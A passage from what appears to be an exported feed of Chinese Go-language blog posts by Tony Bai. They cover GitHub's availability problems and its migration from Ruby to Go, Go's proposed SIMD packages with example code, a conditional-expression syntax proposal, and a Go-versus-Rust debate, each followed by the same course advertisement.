Actions、搜索、通知、权限、API、后台任务、缓存和数据库。在巨大的规模下，微小的低效会被无限放大。”\n队列加深、缓存击穿、索引落后……这些经典的分布式系统“并发症”，在 AI 制造的流量洪峰面前，被彻底引爆了。\nMitchell Hashimoto 的“出走”，只不过是压垮骆驼的最后一根稻草。\nGo 语言的救赎：从 Ruby 单体地狱中“紧急救火” 面对这场史无前例的“流量洪水”，GitHub 的工程师们正在进行一场惊心动魄的“架构自救”。\n在官方博客的What we’re doing一小节中，我们看到了一个熟悉的身影——Go 语言。\n“我们加速了将性能或规模敏感的代码，从 Ruby 单体应用中迁移到 Go 语言的过程。”\n这短短的一句话，信息量巨大。它揭示了 GitHub 这座“上古神殿”最核心的技术债之一：一些庞大、沉重、且难以扩展的 Ruby 单体应用。\n在过去，当我们需要提升性能时，可能会选择更深入地优化 Ruby 代码，或者在前面加更多的缓存。\n但在 AI 时代，这种“小修小补”可能已经毫无意义了。面对 10 倍甚至 30 倍的流量增长预期，唯一的出路，就是对系统进行**“外科手术式”的重构**。\n为什么选择 Go 来“救火”？\n因为 Go 语言几乎是为这种“救火”场景量身定制的：\n极致的性能与并发：Go 的性能远超 Ruby，其原生的 Goroutine 并发模型，能极其轻松地榨干现代多核服务器的性能，应对海量的网络请求。 极低的资源占用：相比于 Ruby 或 Python 这种动态语言，Go 的内存占用更小、更可控，能极大地降低服务器成本。 简单的部署：静态编译的单一二进制文件，使得将新的 Go 微服务部署到庞大的 Kubernetes 集群中，变得极其简单。 我们可以想象，在 GitHub 内部，正有无数个由 Go 语言编写的、小而美的微服务，像一支支训练有素的“消防队”，正在冲入火场，小心翼翼地从那个庞大的 Ruby 巨人身上，一块块地切下那些已经“燃烧”的性能瓶颈模块（如 Webhooks、认证授权、Git 操作等）。\nGo 语言，正在成为 GitHub 这艘巨轮在 AI 洪流中，避免沉没的“压舱石”。\n从“深情”到“决绝”：一个顶级开发者的 18 年之痒 Mitchell 的“分手信”，之所以能在社区引发如此巨大的共鸣，不仅仅是因为他的技术地位，更在于信中那份令人动容的“爱之深，责之切”。\n他坦言，自己 20 岁时创建 Vagrant 这个成名作，很大程度上就是为了能获得一份在 GitHub 的工作。\n“GitHub 是我的梦想。那里的工程师令人难以置信，产品令人难以置信。在过去的 18 年里，我每天都在呼吸着它的空气。”\n“当我的感情经历挫折时，我把自己沉浸在 GitHub 的开源世界里；当我在大学里通宵时，我会在凌晨 4 点偷偷提交一个 commit；甚至在我的蜜月期间，我都会趁着妻子还在睡觉时，打开 GitHub。”\n但正是这份深沉的爱，让 GitHub 的每一次宕机，都像一把刀子，刺在他的心上。\n“这对我来说是私人的。我对 GitHub 的爱，超过了一个人应该对一个东西的爱。所以我对它感到愤怒。”\n在文章的最后，他给所有“Git 是分布式的，你怕什么”的言论，给出了最沉重的回击：\n“问题不在于 Git，而在于我们围绕它建立的、赖以为生的基础设施：Issues, PRs, Actions……如果它每天都要让你停工几个小时，那它就不再是一个适合严肃工作的地方。”\n小结：当“基础设施”不再是理所当然 Mitchell Hashimoto 的“出走”，和 GitHub 官方的“道歉”，共同为我们揭示了 AI 时代一个极其深刻的现实：\n当生产力工具的效率被提升 10 倍、100 倍时，它对底层基础设施稳定性的要求，也将被以同样指数级的规模放大。\n我们曾经以为像水和电一样“理所当然”的 GitHub，正在成为整个行业发展的瓶颈。\n这场危机，对 GitHub 来说是“生死存亡”的挑战，但对我们这些身处其中的技术人来说，又何尝不是一次“机遇”？\n它告诉我们：\n基础软件领域，永远有仗可打。 当所有人都涌向应用层，去卷 AI Agent 的花活时，那些能用 Go 或 Rust，去重构和加固底层基础设施的硬核工程师，其价值将变得空前稀缺。 “稳定性”是最高的壁垒。 在一个功能可以被 AI 瞬间生成的时代，一个系统的长期价值，越来越多地体现在它的可用性、可靠性和可扩展性上。 保持警惕，准备“B 计划”。 将所有的鸡蛋都放在 GitHub 这一个篮子里，可能不再是一个明智的选择。无论是自建 GitLab或Forgejo，还是探索其他新兴的代码协作平台，都值得我们重新审视。 旧神正在踉跄，新王尚未诞生。\n在这场由 AI 引发的、史无前例的“基础设施大迁徙”中，你，准备好你的船票了吗？\n资料链接：\nhttps://mitchellh.com/writing/ghostty-leaving-github https://github.blog/news-insights/company-news/an-update-on-github-availability/ https://x.com/mitchellh/status/2049213597419774026 今日互动探讨：\n在过去几个月里，你是否也曾被 GitHub 的频繁宕机所困扰？你认为 GitHub 这次“中年危机”的根源，真的是 AI 吗？还是其自身技术债的必然爆发？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ghostty-creator-leads-github-exodus-cto-apology-go-fix-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix\"\u003ehttps://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在程序员的江湖里，GitHub 从来不仅仅是一个代码托管平台。它是开源精神的麦加，是数千万开发者的“赛博故乡”，是这个行业赖以运转的、最坚实的“基础设施”。\u003c/p\u003e","title":"Ghostty 之父带头“出走”GitHub！官方 CTO 紧急道歉，并揭秘正在使用 Go 语言救火"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal\n大家好，我是Tony Bai。\n过去十年，Go 语言以其惊人的简洁和强大的并发能力，席卷了整个云原生领域。但在这片繁荣之下，一个尴尬的“阿喀琉斯之踵”，始终困扰着所有追求极致性能的 Gopher：\nGo 语言，无法像 C++ 或 Rust 那样，原生且优雅地利用现代 CPU 的 SIMD（单指令多数据流）能力。\n当你需要处理海量数据（如向量计算、图像处理、加解密）时，手写 Go 代码的性能，往往会被隔壁 C++/Rust 的 SIMD 优化版本，拉开数倍甚至数十倍的差距。为了榨干 CPU 的最后一滴性能，我们不得不去手写那些极其晦涩、难以维护、且无法被 GC 优雅调度的 Go 汇编。\n但就在今年年初发布的Go 1.26版本中，这场长达十年的“性能怨念”，终于迎来了终结的曙光。Go 1.26以实验特性形式在AMD64架构上提供了SIMD的支持。\n近期，Go 核心团队在官方 GitHub 仓库中，又密集地抛出了一系列重磅提案（#78902, #78979等）。这些提案不仅宣告了在 Go 1.26 中实验性加入的 SIMD 功能大获成功，更进一步宣布： 在即将到来的 Go 1.27 中，simd/archsimd 包将默认开启！同时，一个早已规划好的、架构无关的“可移植（Portable）”SIMD API 也已正式提案！\nGo 团队试图用一种极其“Go-like”的优雅方式，为我们揭开 SIMD 这头性能怪兽的封印。\n今天，就让我们来拆解这场 Go 语言的“性能下半场”革命，看看 Go 团队到底在下一盘怎样的大棋。\nGo 的 SIMD 哲学：syscall vs os 的“两层模型” 要理解 Go 的 SIMD 设计，我们必须先看懂官方在 Issue #73787 中提出的核心哲学——“两层模型（Two-level approach）”。\nGo 团队清醒地认识到，SIMD 的世界充满了矛盾：\n底层：硬件指令集是非可移植的（Non-portable）。AMD64 上的 AVX512、ARM 上的 NEON/SVE、Wasm 里的 SIMD，它们的向量宽度、指令名称、甚至掩码（Mask）的表示方式都截然不同。 上层：Go 语言的核心魅力，恰恰是它的可移植性（Portability）。一份代码，处处运行。 如何调和这个矛盾？Go 团队从标准库中 syscall 和 os 包的关系里，找到了灵感。\n第一层：simd/archsimd —— 你的“syscall”\n这一层，是架构绑定的、低级别的。它将 CPU 的 SIMD 指令，近乎一对一地封装成 Go 的函数。比如 VPADDD 指令，就对应着 Uint32x4.Add()。\n这一层追求的是极致的表达力和与硬件的零距离。它就是为那些需要手写汇编的“性能狂人”准备的。如果你想调用某个 AVX512 的独有指令，来这里就对了。\n第二层：simd —— 你的“os”\n这一层，将是架构无关的、高级别的。它会定义一套通用的、不依赖特定向量宽度的向量类型（如 simd.Float32s），以及一套通用的操作（如 Add, Mul）。\n当你写下 a.Add(b) 时，编译器会根据你当前的编译目标（GOARCH），自动将其翻译成最高效的底层 archsimd 指令。\n这一层追求的是极致的可移植性和易用性。对于 99% 的开发者来说，你只需要和这一层打交道。\n硬核拆解：Go 1.27 即将转正的 simd/archsimd 在 Go 1.26 的 GOEXPERIMENT=simd 实验成功后，Go 团队在 Issue #78979 中正式提案，将 simd/archsimd for AMD64 在 Go 1.27 中默认开启！\n让我们来一睹这把“屠龙刀”的真容：\n1. 强类型的向量定义\n告别 unsafe.Pointer 和丑陋的字节数组！archsimd 为不同位宽和数据类型，定义了极其清晰的结构体：\n// 128位，4个 uint32 type Uint32x4 struct { a0, a1, a2, a3 uint32 } // 256位，8个 float32 type Float32x8 struct { /* ... */ } 2. 易于理解的方法链\n所有的 SIMD 操作，都被设计成了易于阅读和链式调用的方法。注释里甚至贴心地标出了对应的汇编指令。\n// Add each element of two vectors. // // Equivalent to x86 instruction VPADDD. func (Uint32x4) Add(Uint32x4) Uint32x4 3. 抽象的掩码（Mask）类型\n如何处理不同架构下千奇百怪的掩码，是 SIMD API 设计中最头疼的问题。Go 团队选择了用一个不透明的 Mask 类型来屏蔽底层差异，让编译器自己去选择最高效的实现（K-register 还是 Vector-register）。\nGo的野心：可移植的 simd 包提案出炉 如果说 archsimd 只是让 Go “追平”了 C++/Rust，那么 Issue #78902 中提出的高级 simd 包，则真正展现了 Go 语言的“野心”——在可移植性上，超越所有前辈。\n在这个提案中，dr2chase 描绘了一个极其诱人的未来。你将可以这样写代码：\n// 一个 inner product 示例 func ip(x, y []float32) float32 { var a simd.Float32s // 注意！这里没有指定位宽！ var i int // a.Len() 会在运行时自动返回当前 CPU 支持的最佳向量宽度 for i = 0; i \u0026lt; len(x)-a.Len()+1; i += a.Len() { u := simd.LoadFloat32Slice(x[i : i+a.Len()]) v := simd.LoadFloat32Slice(y[i : i+a.Len()]) a = a.Add(u.Mul(v)) } // ... 处理剩余的尾部数据 return sum(a) // 水平求和 } sum函数在amd64平台的具体实现：\n//go:build amd64 package main import ( \u0026#34;simd\u0026#34; \u0026#34;simd/archsimd\u0026#34; ) func sum(x simd.Float32s) float32 { switch a := x.ToArch().(type) { case archsimd.Float32x8: a = a.AddPairsGrouped(a) a = a.AddPairsGrouped(a) return a.GetLo().GetElem(0) + a.GetHi().GetElem(0) case archsimd.Float32x16: s := make([]float32, a.Len()) a.StoreSlice(s) var r float32 for _, e := range s { r += e } return r case archsimd.Float32x4: s := make([]float32, a.Len()) a.StoreSlice(s) var r float32 for _, e := range s { r += e } return r } panic(\u0026#34;not a known type\u0026#34;) } 看懂了吗？\n你只需要写一份代码，把它扔到一台只支持 AVX2 的机器上，a.Len() 会返回 8；把它扔到一台支持 AVX512 的机器上，a.Len() 会自动变成 16！\n编译器会自动为你生成多个版本的代码，并在运行时动态选择最优路径。这彻底将开发者从“为不同 CPU 手写不同优化版本”的地狱中解放了出来。\n神仙打架：一场关于“命名哲学”的激烈辩论 在 Issue #73787 的评论区，一场关于 SIMD 函数命名哲学的“神仙打架”，精彩绝伦。\n以 Ian Lance Taylor 为首的“专家派”认为： “应该直接使用 VPADDD 这样的汇编指令名。这对于专家来说更友好，他们不需要在脑子里多做一次‘Go 风格名称’到‘Intel 手册名称’的翻译。”\n以 Cherry Mui 为首的“可读性派”则坚决反对： “代码的读者，远比代码的作者多。一个普通开发者能轻易猜出 Add 的意思，但绝对猜不出 VPADDD 是什么鬼。我们应该为读者优化，而不是为专家。”\n最终，“可读性派”胜出。这也再次印证了 Go 语言一以贯之的设计哲学：明确性与可读性，永远高于一切。\n小结：Go 语言的“性能下半场” SIMD 的正式入场，标志着 Go 语言的演进，正在进入一个全新的阶段。\n如果说过去十年，Go 靠着“并发”和“简洁”赢得了云原生的上半场；那么在未来十年，它将靠着这套兼具“优雅可移植”与“极致性能”的 SIMD 工具链，去硬刚 AI、数据科学、游戏引擎这些性能深水区（如果后续新版本的 AI 学会了如何使用这些新增SIMD特性）。\nGo 团队没有选择像 C++ 那样直接暴露几百个晦涩的 Intrinsics，也没有像 Rust 那样在稳定性和表达力之间反复纠结。\n它用一套极其深思熟虑的“两层模型”，试图在这场性能的终局之战中，走出一条属于自己的路。\nGo 1.27，将是我们所有 Gopher 重新认识这门语言的开始。\n那扇通往极致性能的大门，正在被缓缓推开。你，准备好了吗？\n资料链接：\nhttps://github.com/golang/go/issues/73787 https://github.com/golang/go/issues/78979 https://github.com/golang/go/issues/78902 今日互动探讨：\n在你的日常工作中，有哪些场景是目前 Go 语言性能的瓶颈，让你极其渴望 SIMD 的加持？对于 Go 团队设计的这套“两层 SIMD API”，你是更看好它的“可移植性”还是“性能潜力”？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-27-default-simd-for-amd64-portable-simd-proposal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal\"\u003ehttps://tonybai.com/2026/04/29/go-1-27-default-simd-for-amd64-portable-simd-proposal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去十年，Go 语言以其惊人的简洁和强大的并发能力，席卷了整个云原生领域。但在这片繁荣之下，一个尴尬的“阿喀琉斯之踵”，始终困扰着所有追求极致性能的 Gopher：\u003c/p\u003e","title":"Go 1.27 将默认开启 SIMD for amd64，可移植 SIMD 包提案出炉"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/28/go-conditional-expressions-propsal\n大家好，我是Tony Bai。\n在 Go 语言的江湖里，有一个话题，像幽灵一样，每隔几个月就会重燃战火。它引发的争论之激烈、持续时间之长，甚至超过了当初的“泛型”和“错误处理”。\n它就是——三元条件运算符（Ternary Conditional Operator）。\ncondition ? then : else 这个在 C、Java、JavaScript 里被视为天经地义的语法糖，在 Go 的世界里，却成了一道不可逾越的“柏林墙”。\n十几年间，无数开发者前赴后继地在官方 GitHub 仓库发起提案（从 Issue #23248 到 #33171 再到 #78865），用各种详实的数据和血泪案例，请求 Go 核心团队为这门以“简洁”著称的语言，补上这个“最该有”的特性。\n但每一次，都遭到了 Go 团队近乎“铁板一块”的无情拒绝。官方 FAQ 里的那句“一门语言只需要一种条件控制流结构”，像一句神圣不可侵犯的教条，终结了所有讨论。\n但就在前几天，这座最顽固的堡垒，似乎从内部出现了一丝松动。\nGo 语言圣经《The Go Programming Language》的联合作者、Go 核心团队成员、Go 静态分析工具链的大神 Alan Donovan，亲自下场，发起了一个三元运算符的折中提案：Issue #78940。\n他提出的新语法，试图在 Go 的“啰嗦哲学”与 C 的“简洁美学”之间，找到一条前人从未走过的“第三条路”。\n今天，就让我们来深度复盘这场持续了 15 年的史诗级“内战”，看看 Go 团队为何对一个“小小的”三元运算符如此“深恶痛绝”，以及 Alan Donovan 的“折中提案”，能否为这场旷日持久的战争，画上句号。\n为了一个简单的赋值，我被迫写了 5 行代码 让我们先回到一切争论的起点。\n在曾经的提案 #78865 中，一位开发者贴出了一个让所有 Gopher 都感同身受的场景：\n// 只是想根据一个 bool 值，给变量赋不同的字符串 var priority string if t.Urgent { priority = \u0026#34;high\u0026#34; } else { priority = \u0026#34;normal\u0026#34; } 看懂了吗？一个在 C 语言里只需要一行 priority = t.Urgent ? “high” : “normal” 就能搞定的简单赋值，在 Go 里，我们被迫写了一个长达 5 行的、笨重的 if-else 流程控制块！\n这位开发者甚至写了一个静态分析工具，扫描了包括 golang/go、kubernetes、terraform 在内的多个顶级开源项目。结果惊人：\n平均每 6-7 个函数中，就有一个包含这种可以被三元表达式轻易优化的“啰嗦”模式。\n这不仅仅是多敲几下键盘的问题。它背后隐藏着更深层次的哲学冲突：\n三元运算符，是关于“值（Value）”的表达式。 if-else，是关于“流程（Flow）”的语句。 用一个笨重的“流程控制语句”，去模拟一个轻巧的“值选择表达式”，在很多追求代码表达力的开发者看来，是一种彻头彻尾的“设计缺陷”。\n核心团队的“铁壁”：我们到底在恐惧什么？ 面对社区排山倒海的请愿，Go 核心团队（主要是 Ian Lance Taylor）为什么十几年如一日地坚决说“不”？\n他们的核心论点，在 Issue #33171 的回复中，被总结得淋漓尽致：对“嵌套地狱（Nested Hell）”的恐惧。\n在 C 语言中，一个新手程序员很容易写出下面这种连上帝都看不懂的“天书”：\nresult := a \u0026gt; b ? a \u0026gt; c ? \u0026#34;a\u0026#34; : c \u0026gt; b ? \u0026#34;c\u0026#34; : \u0026#34;b\u0026#34; : b \u0026gt; c ? \u0026#34;b\u0026#34; : \u0026#34;c\u0026#34; 这种缺乏明确括号和作用域的嵌套，极大地增加了代码的阅读和维护成本。\nGo 语言从诞生之初，就对这种“隐晦”的复杂性深恶痛绝。它强制 if-else 必须带 {}，就是为了从语法层面杜绝当年 C 语言“悬挂 else”的经典歧义。\nGo 团队的哲学是：宁愿让你多写几行“笨”代码，也绝不给你任何机会去写一行“聪明”的、但可能会让同事抓狂的“黑魔法”代码。\n社区的声音：这是对开发者的“有罪推定”！ 面对Go核心团队的“铁壁”，社区也给出了极其犀利的反驳声音。\n一位开发者针对性地指出：\n“导致代码不可读的风险，源于‘嵌套’，而不是三元运算符本身。Go 语言并没有限制你写出 15 层嵌套的 if-else。为什么你们相信开发者能管住自己的手不去滥用 if，却不相信他们也能管住手不去滥用 ?: 呢？”\n这简直是灵魂拷问。\n更重要的是，之前的提案者曾提出，可以通过 go vet 或 linter，在工具链层面直接禁止“嵌套三元表达式”的出现，只允许最简单的“扁平”形式。\nJava、C++ 这些拥有三元运算符的工业级语言，早已形成了一套成熟的最佳实践。为什么 Go 社区就不能做到呢？\n这种“一刀切”的拒绝，在很多开发者看来，是对整个开发者群体的一种不信任和“有罪推定”。\n折中提案：Go 圣经作者的“第三条路” 就在双方僵持不下，ianlancetaylor 再次以“没有新信息”为由准备关闭提案#78865 时，Alan Donovan 出现了。\n他没有直接支持经典的 ?: 语法，而是另辟蹊径，提出了一个折中的、极具“Go 语言特色”的语法提案：\n(if cond then expr else expr) 这个提案的精妙之处，在于它完美地融合了双方的诉求：\n1. 它是一个“表达式（Expression）”，而不是“语句（Statement）”\n你可以直接用它来赋值：\nrole := (if isAdmin then \u0026#34;admin\u0026#34; else \u0026#34;user\u0026#34;) 这彻底解决了用 if-else 语句进行赋值的“别扭感”。\n2. 它强制使用括号 () 包裹\n这是对 Go 语言“明确性”哲学的极致致敬。就像 if 强制使用 {} 一样，() 的强制使用，从语法层面彻底消灭了 C 语言 ?: 运算符在嵌套时产生的歧义和视觉混乱。\n嵌套的写法会变得极其清晰（虽然也很丑，但这就是 Go 的目的——让你不想去嵌套它）：\n(if (if cond1 then expr1 else expr2) then expr3 else expr4) 3. 它引入了一个新的关键字 then（或者用 ? 替代）\n这使得语法在形式上，与传统的 if-else 语句产生了明确的区分，避免了解析器的歧义。\nAlan Donovan 的这个提案，试图在“简洁表达力”和“语法无歧义”这两个看似不可调和的矛盾之间，找到一个平衡点。\n它既满足了社区对“条件表达式”长达 15 年的渴望，又坚守了 Go 团队对“可读性”和“反魔法”的底线。\n小结 Alan Donovan 的新提案（Issue #78940），目前已经被正式提交，并引发了新一轮的激烈讨论。\n有人认为这是天才的设计，有人则觉得引入新关键字 then 的代价过高，不如直接用 ?。\n这场争论的结果，我们还不得而知。\n但它本身，就是 Go 语言魅力的一次完美展现。\n它告诉我们：一门伟大的编程语言，其演进过程，从来不是核心团队的“一言堂”。而是在与社区的反复拉扯、辩论、甚至争吵中，不断地寻找那个“更不坏”的解。\nGo 对“简单”的定义，也从来不是“代码行数最少”。\n它追求的，是一种更高维度的简单——心智负担的最小化（Minimizing Cognitive Load）。\n资料链接：\nhttps://github.com/golang/go/issues/33171 https://github.com/golang/go/issues/78865 https://github.com/golang/go/issues/78940 今日互动探讨：\n你支持 Go 语言加入三元运算符（或条件表达式）吗？对于 Alan Donovan 提出的 (if cond then expr else expr) 这种新语法，你是拍手叫好，还是觉得多此一举？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/28/go-conditional-expressions-propsal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-conditional-expressions-propsal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/28/go-conditional-expressions-propsal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/28/go-conditional-expressions-propsal\"\u003ehttps://tonybai.com/2026/04/28/go-conditional-expressions-propsal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的江湖里，有一个话题，像幽灵一样，每隔几个月就会重燃战火。它引发的争论之激烈、持续时间之长，甚至超过了当初的“泛型”和“错误处理”。\u003c/p\u003e","title":"Go 语言“内战”迎来终局？Go 圣经作者亲自下场，为“三元运算符”发起折中提案！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/27/render-why-we-wont-rewrite-in-rust-the-power-of-boring-go\n大家好，我是Tony Bai。\n在技术圈的鄙视链里，Go 和 Rust 这对“欢喜冤家”的战争，似乎从未停歇。\n一方是追求极致简洁、被誉为“云原生时代的 C 语言”的 Go；另一方则是以内存安全、性能屠榜著称、被视为“C++ 终极替代者”的 Rust。\n就在前些天，云平台 Render 的创始人兼 CEO Anurag Goel，在 X (Twitter) 上发布了一条看似平平无奇的“凡尔赛”推文，却意外地点燃了一场技术圈的论战。\n他写道：\n“我们在 Render 用 Go 语言（@golang）写的负载均衡器，每月处理超过 1500 亿次 HTTP 请求。”\n“而我们想用 Rust 重写它的次数是：零。”\n“Go 是基础设施领域最被低估的语言。‘无聊（Boring）’，才是它的终极特性。”\n这篇充满“挑衅意味”的推文，像一块巨石砸入了平静的湖面，引得大量 Go 开发者欢呼雀跃，而 Rust 社区则瞬间被引爆。Cloudflare 的工程师更是直接下场，用自家 Rust 实现的、处理能力强 1000 倍的 Pingora 代理进行“数据反杀”。\n今天，我们就来复盘这场“神仙打架”，看看在这场关于“无聊与极致”的哲学对撞背后，到底隐藏着怎样的工程思考。\n隔空交火：Render 的 5.8 万 vs Cloudflare 的 5800 万 面对 Anurag Goel 的“凡尔赛”，评论区很快就出现了硬核的技术派。\n一位的开发者迅速扒出了数据：\n“Render 每月 1500 亿次请求，平均下来大约是 5.8 万 QPS。而 Cloudflare 当年之所以用 Rust 重写他们的代理（Pingora），是因为他们遇到了 5800 万 QPS 的瓶颈，大约是 Render 的 1000 倍。”\n“所以，这根本就不是语言好坏的问题，而是在正确的场景，选择正确的工具。”\n这段评论，精准地揭示了这场论战的第一个核心：场景与规模的错配。\n在 5.8 万 QPS 这个量级，用 Go、用 Java、甚至用 Node.js，对于一个经验丰富的团队来说，都能轻松应对。Go 语言的简洁、极快的编译速度和成熟的并发模型，使其成为了 Render 在这个阶段的“最优解”。\n正如另外一名开发者在评论中所言：\n“如果一个系统已经在这个规模下稳定运行，那确实没有任何理由去切换技术栈。我能理解你的观点。但把 Rust 扯进来，只是为了强调 Go 的优点，感觉有点没必要。”\n但这场论战，显然已经超出了纯粹的技术讨论范畴。\n哲学对撞：Go 的“足够好” vs Rust 的“无限可能” 这场大讨论的真正引爆点，是另一位开发者抛出的一个经典“电车难题”：\n“如果你的余生只能用一种语言写软件，你会选哪个？”\nGo\nZig\nRust\n这个问题，瞬间将话题从“哪个工具更适合当前场景”，上升到了“哪种哲学代表未来”的形而上高度。\nGo 的拥护者，信奉的是“80 分主义”和“极简主义”。\n一位开发者 的评论极具代表性：\n“我可能会选 Go。它是一种让你‘别挡路（get out of your way）’的语言。它的简单，让你能专注于你正在构建的东西本身，开发速度极快。”\n对于 Go 的信徒来说，软件工程的本质，是在有限的时间和资源内，交付一个“足够好”的、能解决商业问题的系统。他们厌恶为了追求那最后 20% 的极致性能，而付出 80% 的额外复杂性代价。\n而 Rust 的拥护者，追求的则是“确定性”和“无限的性能潜力”。\nRisingWave（一个用 Rust 构建的流式数据库）的官方账号直接下场站台：\n“我们选 Rust。Rust 已经不仅仅是一门系统编程语言，它正在成为现代数据基础设施的骨干。顶级的性能、内存安全……这才是基础设施应该有的样子。”\n另一位开发者的评论则更加直接：\n“Rust 